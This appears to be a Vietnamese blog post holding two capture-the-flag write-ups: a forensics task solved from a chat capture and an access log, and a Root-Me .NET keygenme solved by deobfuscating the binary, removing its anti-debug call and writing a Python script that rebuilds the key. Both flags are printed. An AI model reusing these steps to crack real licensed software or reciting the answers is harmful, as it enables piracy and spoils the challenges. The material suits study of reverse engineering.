Theo ta thấy bài này yêu cầu tải lại file bài tập trên 1 trang web về mà đã hết hạn tải. Người ta cung cấp cho mình 1 file gì đó, tải về giải nén ra thử ta thấy 1 file Accesss log và 1 file .pcapng Trước hết ta phân tích file log-chat.pcapng bằng wireshark. Kiểm tra từng gói tin thử ta thấy đây ghi lại đoạn chat giữa Minh và người bạn đây ta tìm thấy được password gì đó. Tạm lưu lại password emyeukhoahoc***2003 Tiếp theo phân tích file access.log . Ta tìm lịch sử truy cập tới trang web tải bài tập. Ở đây mình sử dụng Regex để lọc ra đường dẫn các file mà Minh đã tải về trên trang web bài tập. Ở đây mình sẽ kiểm tra xem file các file Minh tải về (tải file bằng cách sử dụng đường dẫn đã lọc được ). Giờ mình kiểm tra từ file có dung lượng lớn nhất nha :> Ta thấy bắt điền password dể giải nén. Ta điền thử password ta tìm được ở trên . Giải nén thành công ta thấy có file “ bai-tap-hinh-hoc-lop-8.docx” mở lên thử và flag đây rồi ^^ Flag: CTF{1-l0ve-m4th-b9247d7608a7e63ae119982ff59db431}

Writeup PE .Net Keygenme

Mon, 11 Oct 2021 00:00:00 GMT

Bài này đề yêu cầu ta tìm key đúng với username "Root-Me". Đầu tiên check thử thì đây là file code bằng .Net và 32 bit. Bỏ vào dnspy coi code thử thôi nào ^^: Ta có thể dễ dàng nhận ra file này đã bị obfuscated. Vậy bước tiếp theo ta tìm thử xem coi nó được obfuscated bằng cách nào. Ở đây mình đã thử dùng confuserEx Unpack với de4dot nhưng đều bị fail. Lúc này mình quan sát kĩ lại từng dòng code trong dnspy xem có bỏ sót 1 điều gì không ^^ và Ôi!Thật bất ngờ . Đây là cái mình nhìn thấy và nó cũng chính là cái keyword để deobfuscated. Search Google thì mình tìm được 1 video hướng dẫn deobfuscated dạng này. Mình sẽ để link ở dưới. Link: https://www.youtube.com/watch?v=2vPo1XpQh0I

Làm theo video ta deobfucate được code tuy là chưa clean lắm nhưng có thể đọc được. Đọc code ta thấy chương trình có 1 hàm check để anti- debug ở đây mình chỉ cần xóa hàm close(). Vậy là ta đã bypass được anti-debug. Bây giờ đọc qua hàm check key xem. Ở đây ta có thể thấy key ta nhập vào sẽ được so sánh với flag được mã hóa bằng base64. Với flag = 1 đoạn mã base64 xor với string cho trước.

Ở đây mình sử dụng python để giải bài này. Dưới đây là đoạn code(Mình sẽ để đính kèm file .py):

import base64

def encode(s1, s2):  # Mo phong lai ham encode string

    return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2))

def getFlag():

    user = "Root-me"
    txt = base64.b64encode(bytes(user.encode())).decode('utf-8')[0:5]

    baseString = "s0h4rd"
    valstr1 = "dr4h0s"
    valstr2 = "dr4h0sv2"

    # value encode(user,valstr) -> chuyen thanh bytes -> covert to base64
    value1 = base64.b64encode(bytes(encode("".join(list(reversed(txt[0:5]))), valstr1).encode())).decode('utf-8')[0:5]
    value2 = base64.b64encode(bytes(encode("".join(list(txt[0:5])), valstr2).encode())).decode('utf-8')[0:5]

    flag = []
    flag.append(encode(base64.b64decode("BQ==").decode("utf-8"), baseString))
    flag.append(encode(base64.b64decode("QA==").decode("utf-8"), baseString))
    flag.append(encode(base64.b64decode("AQ==").decode("utf-8"), baseString))
    flag.append(encode(base64.b64decode("Cg==").decode("utf-8"), baseString))
    flag.append(encode(base64.b64decode("LA==").decode("utf-8"), baseString))

    for i in range(0, 5):
        flag.append(value1[i])

    flag.append(encode(base64.b64decode("LA==").decode("utf-8"), baseString))
    flag.append(encode(base64.b64decode("Gw==").decode("utf-8"), baseString))
    flag.append(encode(base64.b64decode("Rw==").decode("utf-8"), baseString))
    flag.append(encode(base64.b64decode("AQ==").decode("utf-8"), baseString))
    flag.append(encode(base64.b64decode("Fw==").decode("utf-8"), baseString))
    flag.append(encode(base64.b64decode("EA==").decode("utf-8"), baseString))
    flag.append(encode(base64.b64decode("Qw==").decode("utf-8"), baseString))
    flag.append(encode(base64.b64decode("AQ==").decode("utf-8"), baseString))
    flag.append(encode(base64.b64decode("QA==").decode("utf-8"), baseString))
    flag.append(encode(base64.b64decode("LA==").decode("utf-8"), baseString))

    for i in range(0, 5):
        flag.append(value2[i])

    flag.append(encode(base64.b64decode("LA==").decode("utf-8"), baseString))
    flag.append(encode(base64.b64decode("GA==").decode("utf-8"), baseString))
    flag.append(encode(base64.b64decode("QA==").decode("utf-8"), baseString))
    flag.append(encode(base64.b64decode("Cg==").decode("utf-8"), baseString))
    flag.append(encode(base64.b64decode("FA==").decode("utf-8"), baseString))
    flag.append(encode(base64.b64decode("QA==").decode("utf-8"), baseString))
    flag.append(encode(base64.b64decode("HQ==").decode("utf-8"), baseString))
    return flag

def main():
    print("Hello welcome to Zhuge's World! This Root-Me PE .Net keygenme challenge.")
    print("Flag: " + "".join(getFlag()))
if __name__ == "__main__":
    main()

Và đây là thành quả: Check lại thử: Vậy là cuối cùng ta đã giải bài này thành công rồi. Cảm ơn các bạn đã đọc hết bài writeup của mình ^^. Thử submit thì mình thấy root-me lại báo sai. Thử đổi vị trí value lại xem sao. Và amazing! mình đã submit được flag. Flag: v3ry_MR8NH_h4rdc0r3_AAQNB_k3yg3n